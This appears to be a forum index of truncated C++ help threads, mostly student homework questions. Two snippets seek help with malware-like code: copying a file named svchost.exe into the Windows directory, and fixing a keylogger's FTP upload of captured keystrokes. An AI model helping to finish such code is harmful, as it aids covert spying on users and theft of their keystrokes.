49,757 Topics
| |
Hi! I'm running Ubuntu 9.04 and using Code::Blocks as C++ IDE. I have the following code: Temp.h: [CODE]#ifndef TEMP_H_INCLUDED #define TEMP_H_INCLUDED template <typename T> class Temp { public: Temp (T d = T(0)): _dato(d) {} T getDato () const; void setDato (T d); private: T _dato; }; template class Temp<double>; … | |
My professor likes to give us tests on topics we've not covered yet, like string stream :o This program uses stringstream objects to make sentences like the Mad Lib ™ game. Create 4 string objects: noun, adjective, verb, and adverb. You will need these functions: AskNoun, AskVerb, AskAdjective, AskAdverb, and … | |
Alright, so I'm a bit lost as to what to do next with this and am looking for some direction. The assignment sheet is as follows: [QUOTE]CSC 265 – Fall 2009 – Program 1 Due: Thursday October 8, 10 minutes before class starts Write a header file, implementation file, and … | |
| |
Hi :) I have this assignment for my first year programming module and one of the questions asks for a void function using string parameters. This confused the hell out of me, but I came up with this idea. Would someone please, please, please have a look at it and … | |
Hi all, Here is the problem; I’m trying to make two threads draw pixels in two different memory spaces at the same time. Nothing fancy, just a test program to learn about thread programming. I allocate the memory, send the address as parameters to the two threads, and in each … | |
im lost making a code that runs this. it has to include "while" command but im having difficulty with the counter vs the name =/ can someone help [COLOR="Green"] Enter your friend’s name(stop to quit):john Enter your friend’s name(stop to quit):megan Enter your friend’s name(stop to quit):stop Congratulations you have … | |
hii i have problem with the line [CODE]CopyFile ("\\svchost.exe","c:\\%windir%\\svchost.exe",0);[/CODE] i have already tryed to put _T before ( but he won't compile CopyFileW' : cannot convert parameter 1 from 'const char [13]' to 'LPCWSTR' i want that copyfile the file copies to the windows map srry for bad english [CODE]TCHblabla … | |
i found this problem in c/c++ when i wrote this code int a=5,b; b=++a +(+=a + a--); it gave the output of b as 21 and when i wrote int a; int b=++a + (++a + a--); it gave b as 18 why the answers are varying for the same … | |
I have to write a program for my assignment that does a quote. It has to have a void function that validates a string and and integer entered. Other wise I would have solved the problem with a simple menu and integers. The entries has to be one of five … | |
I'm stuck on a homework problem. Just not sure where I'm going wrong, I think my code should work and it doesn't, and I'm not sure why. The assigned problem is: Recursive Multiplication: Write a recursive function that accepts two arguments into the parameters x and y. The function should … | |
Hi, I created an array of numbers which converts into letters through a number generator. I need help sorting my array letters[j] so that the output can be printed in alphabetical order. After, I am storing it in a Linked List and printing it out. So far, it just prints … | |
I'm having trouble getting the right operator to be accessed using polymorphism. The code below is a simple representation of the problem, but it should get the point across. [CODE=CPLUSPLUS]//Horse.h #ifndef HORSE_H_INCLUDED #define HORSE_H_INCLUDED #include <iostream> #include <string> class Horse { public: Horse() {} Horse(int age) : itsAge(age) {} virtual … | |
Hi, I have searched the internet high and low but all posts I have found on this topic have been confusing to me... It is quite clear that there is something basic I am not getting... please help... My applications are written in VC++ 2008 Express and all source code … | |
A roman to decimal converter, no validity checking, so inputting an invalid roman number will certainly just yield a wrong result. | |
I have two arrays both have a defined sized for each element that was filled when reading from a file currently but have a max size of 50 I have array 1 [4] I have array 2 [2] However, my main point is I have to process these two arrays … | |
Hey, im in my first computer science course and im having a really hard time. i have two questions on an assignment which are stumping me one is: 1. Create a function bulk-price that determines the amount of savings possible by buying soil delivered by the cubic yard instead of … | |
Hello I am trying to figure out how to create a number generator to generate a number between 65-90 (ascii capital letters) and 97-122 (ascii lowercase letters). I need to convert the number to a char and then put the char in the linked list in order while ignoring duplicates. … | |
i have to write a c++ program that will calculate the weekly pay for the employees of a company and the total amount of the payroll. input for the program will be the employee number number (int), status of the employee-exempt or non exempt (int).(Exempt employees receive pay for a … | |
Hello, I am new to C++ but I have built an indexing app over the past 2/3 weeks using C++ Standard Library. This went very smoothly but I now want for the first time to bring in an external library called libcurl. I have attached a Build log which seems … | |
| I am new to C++. This is a homework problem. So if anyone gives up their time to help me it is greatly appreciated. I have perfect number program, I can get it to run if all my code is in the main. The assignment requests that I use a … |
hello, can somebody help me in learning file i/o in c++? i would be very grateful | |
Hey guys. These functions are not working together correctly because of the true/false statements. Can someone please show me how I can fix the empty() function to work simultaneously with my other function provided? :S My getSmallest() function will not return the value due to the empty() function.. [code] bool … | |
Ok I need help on this Freshman year project-( so it should involve loops, arrays/strings,fstreams and functions only) A CSV file contains airport info: [QUOTE]ABZ,"Dyce","Aberdeen","Scotland, United Kingdom","GB",57.200000,-2.200000,493,\N,"Aberdeen",2657832,2638360 EDI,"Turnhouse","Edinburgh","Scotland, United Kingdom","GB",55.950000,-3.350000,493,\N,"Edinburgh",2650225,2638360 BXE,"Bakel","Bakel","Senegal","SN",14.916667,-12.908333,569,"Senegal",\N,\N,2245662 MFV,"Accomack County","Melfa","United States","US",13.633333,39.133333,67,"Verenigde Staten",\N,\N,6252001 ADK,"Adak Island Ns","Adak Island","United States","US",51.878056,-176.646111,67,"Verenigde Staten",\N,\N,6252001 LIT,"Adams Field Airport","Little Rock, AR","United States","US",34.729444,-92.224444,67,"Verenigde Staten",\N,5035199,6252001 ADS,"Addison Airport","Dallas","United … | |
This will go faster if I show you what I want to do. [code] class matrix { public: double *x; int clms, rows; matrix(int unknowns) { rows = unknowns; clms = unknowns + 1; x = new double[rows * clms]; } matrix operator = (double a[]) const { matrix tmp(rows); … | |
Hey all, I'm a computer Eng. student. I do seriously need a graduation project idea so I can start working on it! I've taken these courses: C++ Object Oriented Programming Data Structures Computer Architecture Microprocessor 8085/intel Computer Interface Hardware what I like the most: c++, microprocessors & Hardware. Any ideas … | |
Hello, I am terribly confused on how to start my most recent programming assignment. I am to use an abstract class (shapeO) to create a child class (animShapeO). The program is supposed to create rectangles and moving them (hypothetically as there are no graphics involved) across the screen and when … | |
This is my code below. If i were to enter 2 3 2 3 3 5 4, i were to get 0 0's 0 1's 2 2's 3 3's 1 4's 1 5's 0 6's 0 7's 0 8's 0 9's #include "std_lib_facilities.h" int main() { int num; vector<int> group; … | |
Hey, Im new to this forum, and I have a keylogger. Everything works fine except for the ftp upload function which doesn't work, meaning that the program records the keys etc. but doesn't send the log to the ftp server. Any ideas why? [CODE]#include <windows.h> #include <Winuser.h> #include <string> #include … | |
I'm trying to allocate memory delete it and then allocate it again with more, less, or the same. I've tried this several different ways, but I don't know how to do it or if it can be done with any similarity to my attempts. In my test program it should … |
The End.